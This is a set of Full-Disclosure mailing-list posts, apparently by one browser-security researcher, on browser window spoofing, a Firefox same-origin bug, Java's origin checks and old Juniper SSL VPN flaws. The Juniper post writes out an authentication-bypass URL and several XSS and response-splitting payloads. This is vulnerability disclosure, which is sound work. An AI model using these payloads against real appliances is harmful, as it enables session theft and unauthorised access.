Hi folks, Two minor things that do not deserve a lengthy discussion, but are probably mildly interesting and worth mentioning for the record: 1) Chrome browser is an interesting example of the perils of using minimalistic window chrome, allowing multiple windows to be spliced seamlessly to confuse the user as to the origin of the displayed content. An unconvincing Windows-specific proof-of-concept: http://lcamtuf.coredump.cx/chsplice/ 2) I reported this to the vendor long time ago, and could not get them to commit to a specific fix: Safari allows windows without the address bar and other essential chrome, akin to the behavior of other browsers circa 10 years ago. This essentially makes all other address spoofing vulnerabilities redundant, as the attacker has the ability to decorate windows arbitrarily (you can look up ancient proof-of-concept exploits for Netscape or MSIE here). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Firefox 3.6.13 pseudo-URL SOP check bug (CVE-2010-3774)
Hi folks, Firefox 3.6.13 fixes an interesting bug in their same-origin policy logic for pseudo-URLs that do not have any inherent origin associated with them. These documents are normally expected to inherit the context from their parent, or be assigned a unique one. This didn't work as expected in Firefox, apparently due to a code refactoring in 2008. The vulnerability permits malicious websites to access and modify the contents of special pages such as about:neterror or about:config, which has consequences ranging from content spoofing to complete subversion of the browser security model. More info: http://lcamtuf.blogspot.com/2010/12/firefox-3613-damn-you-corner-cases.html Whimsical PoC: http://lcamtuf.coredump.cx/ffabout/ PS. I posted a couple of probably interesting browser security write-ups on my blog of recent, recapping the status quo in areas such as HTTP cookie security. Some readers might find them interesting / useful - say: http://lcamtuf.blogspot.com/2010/10/http-cookies-or-how-not-to-design.html Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] New Source Code Vulnerability Scanner (Free 30 Day Trial)
> grep -r ACIDBITCHES * This code has two very obvious detection bypass vulnerabilities: 1) It fails to scan dotfiles in the starting directory, 2) It can be tricked into not producing any output by creating a file named "-q" in the starting dir. Let me fire up my vulnerability research whitepaper generator. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] some ooold Juniper bugs (was: ZDI-10-231: Juniper Secure Access Series meeting_testjava.cgi XSS Vulnerability)
> And the political spin: companies get away with shipping broken > software and residing in (1) and (2) above because there are no > software liability laws, even though software enjoys intellectual > property protection. Reason: In America, corporate America bribes the > legislature (err, makes 'PAC contributions'). Good thing we have excellent software liability laws in the EU, then ;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] some ooold Juniper bugs (was: ZDI-10-231: Juniper Secure Access Series meeting_testjava.cgi XSS Vulnerability)
This reminded me of a bunch of problems I spotted in Juniper SSL VPN a while ago; they are apparently fixed, but I don't recall seeing any public vendor advisory / credit for reporting them - so here you go, even if just for the record... These were fixed by Juniper in IVE 6.3R1, 6.2R3, 6.1R5, 6.0R8, and 5.5 R7.1 over a year ago. 1) Auth bypass - IVE permitted just about any script on the box to be invoked without authentication by going through a /dana-na/download/?url= hop, for example: https:///dana-na/download/?url=/dana/home/launch.cgi?url=http://www.example.com/ 2) XSS flaws (which are pretty bad in SSL VPN appliances, because they completely trash the security model of this access mode): This worked in IVE 6.2: https:///dana-na/meeting/meeting_testresult.cgi?redir=%2Fdana-na%2Fmeeting%2Flogin_meeting.cgi%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&java=1 This worked with IVE 5.5 & Firefox: https:///dana-na/download/?url=/dana/home/launch.cgi?url=data:text/html%3bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b This worked with IVE 5.5 & MSIE: https:///dana-na/download/?url=/dana/home/launch.cgi?url=vbscript:MsgBox(%2522Hi%2522) XSS + response splitting: /dana-na/download/?url=/dana/fb/smb/wfmd.cgi?file=AAA%0aRefresh:%201,URL=javascript:alert(1)%0aFoo:%0a%0a And some more vanilla XSSes: /dana/fb/smb/rd.cgi?si=%22)%3balert(1)%3b /dana/fb/smb/wu.cgi?dir=foo%22>alert(1)%3b /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] 0-day "vulnerability"
> For once and for all: There is no such thing as a "zero-day > vulnerability" (quoted), only a 0-day exploit... Cool story, bro. Any thoughts on the use of the term "hacker"? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass
> Eh, you can see where it came from though. Design bugs like this are > absolutely miserable to fix (see how we'll never get rebinding out of the > browser) and letting identical IP's script against eachother lets an awful > lot of legitimate traffic through while blocking almost all attacks. > > I'm not saying it's a preferred design, but let's reserve "horrible" for > things that don't have quite the obvious thought process behind them. "Horrible" in the sense it had significant consequences for the safety of all Internet users, for at least a decade (ever since HTTP vhosts became reasonably popular, which must be what, late 90s). I don't really question the thought process - although it's interesting to see that almost all attempts to redefine / reinvent SOP led to significant issues over the years. This is not merely the fault of plugin vendors, by the way - the incompatibility between DOM SOP and cookie "SOP" pose some very interesting and underappreciated problems for many classes modern web apps. And it's certainly not unique to SOP, too: http://lcamtuf.blogspot.com/2010/10/attack-of-monster-frames-mini.html Anyway... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass
> Security-Assessment.com follows responsible disclosure > and promptly contacted Oracle after discovering > the issue. Oracle was contacted on August 1, > 2010. My understanding is that Stefano Di Paola of Minded Security reported this back in April; and further, the feature was a part of reasonably well-documented functionality of Java pretty much ever since: http://download.oracle.com/javase/6/docs/api/java/net/URL.html "Two hosts are considered equivalent if both host names can be resolved into the same IP addresses" This was a pretty horrible design, so it's good to see it gone, though. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Nmap NOT VULNERABLE to Windows DLL Hijacking Vulnerability
> Please, try to figure out the difference b/w exploitability and vulnerability. Here's my definition Exploitable vulnerability = vulnerability Non-exploitable "vulnerability" = mental masturbation HTH, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Geolocation spoofing and other UI woes
Err, the subject should read "hijacking", not "spoofing". Sorry, not very awake today. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
